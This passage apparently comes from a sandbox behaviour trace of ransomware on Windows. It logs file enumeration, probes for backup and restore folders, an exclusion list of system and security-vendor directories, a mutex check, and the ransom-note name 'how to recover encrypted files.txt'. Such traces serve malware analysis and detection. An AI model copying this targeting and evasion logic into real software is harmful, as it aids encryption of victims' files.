nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@봬R企@\x18?T\x18\x88")) returned 0xffffffff [0045.904] GetLastError () returned 0x2 [0045.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0045.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0045.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@ꐬR企@\x18?T\x18\x8f")) returned 0xffffffff [0045.904] GetLastError () returned 0x2 [0045.904] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.904] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0045.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0045.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="⇜R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0045.905] GetLastError () returned 0x2 [0045.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0045.905] GlobalLock (hMem=0x440004) returned 0x551178 [0045.905] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.905] GlobalUnlock (hMem=0x440004) returned 0 [0045.905] GlobalLock (hMem=0x440004) returned 0x551178 [0045.905] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.905] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.905] GlobalUnlock (hMem=0x440004) returned 0 [0045.905] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.905] GlobalUnlock (hMem=0x44000c) returned 0 [0045.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.905] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.905] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.906] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0045.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.906] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.906] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.906] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.906] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.906] GlobalUnlock (hMem=0x44000c) returned 0 [0045.906] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.906] GlobalLock (hMem=0x440004) returned 0x553188 [0045.906] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.906] GlobalUnlock (hMem=0x44000c) returned 0 [0045.906] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.906] GlobalUnlock (hMem=0x440004) returned 0 [0045.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0045.907] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0045.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0045.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.908] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\") returned 0x39 [0045.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0045.909] GlobalLock (hMem=0x440004) returned 0x551178 [0045.909] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.909] GlobalUnlock (hMem=0x440004) returned 0 [0045.909] GlobalLock (hMem=0x440004) returned 0x551178 [0045.909] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.909] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.909] GlobalUnlock (hMem=0x440004) returned 0 [0045.909] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.909] GlobalUnlock (hMem=0x44000c) returned 0 [0045.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0045.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.909] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.909] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.909] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.909] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.909] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.909] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.909] GlobalUnlock (hMem=0x44000c) returned 0 [0045.909] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.909] GlobalLock (hMem=0x440004) returned 0x554190 [0045.909] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.909] GlobalUnlock (hMem=0x44000c) returned 0 [0045.909] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.909] GlobalUnlock (hMem=0x440004) returned 0 [0045.909] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.910] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0045.910] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0045.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\cs-CZ\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0045.910] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.910] GetLastError () returned 0x12 [0045.910] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.911] GlobalLock (hMem=0x440004) returned 0x551178 [0045.911] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.911] GlobalUnlock (hMem=0x440004) returned 0 [0045.911] GlobalLock (hMem=0x440004) returned 0x551178 [0045.911] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.911] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.911] GlobalUnlock (hMem=0x440004) returned 0 [0045.911] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.911] GlobalUnlock (hMem=0x44000c) returned 0 [0045.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0045.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.911] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.911] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.911] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.911] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.911] GlobalUnlock (hMem=0x44000c) returned 0 [0045.911] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.911] GlobalLock (hMem=0x440004) returned 0x553188 [0045.911] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.911] GlobalUnlock (hMem=0x44000c) returned 0 [0045.911] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.911] GlobalUnlock (hMem=0x440004) returned 0 [0045.911] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.911] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.911] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.911] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.912] GlobalLock (hMem=0x440004) returned 0x552180 [0045.912] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.912] GlobalUnlock (hMem=0x440004) returned 0 [0045.912] GlobalLock (hMem=0x440004) returned 0x552180 [0045.912] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.912] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.912] GlobalUnlock (hMem=0x440004) returned 0 [0045.912] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.912] GlobalUnlock (hMem=0x44000c) returned 0 [0045.912] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.912] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.912] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.912] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.912] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.912] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.912] GlobalUnlock (hMem=0x44000c) returned 0 [0045.912] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.912] GlobalLock (hMem=0x440004) returned 0x554190 [0045.912] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.912] GlobalUnlock (hMem=0x44000c) returned 0 [0045.912] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.912] GlobalUnlock (hMem=0x440004) returned 0 [0045.912] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.912] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, 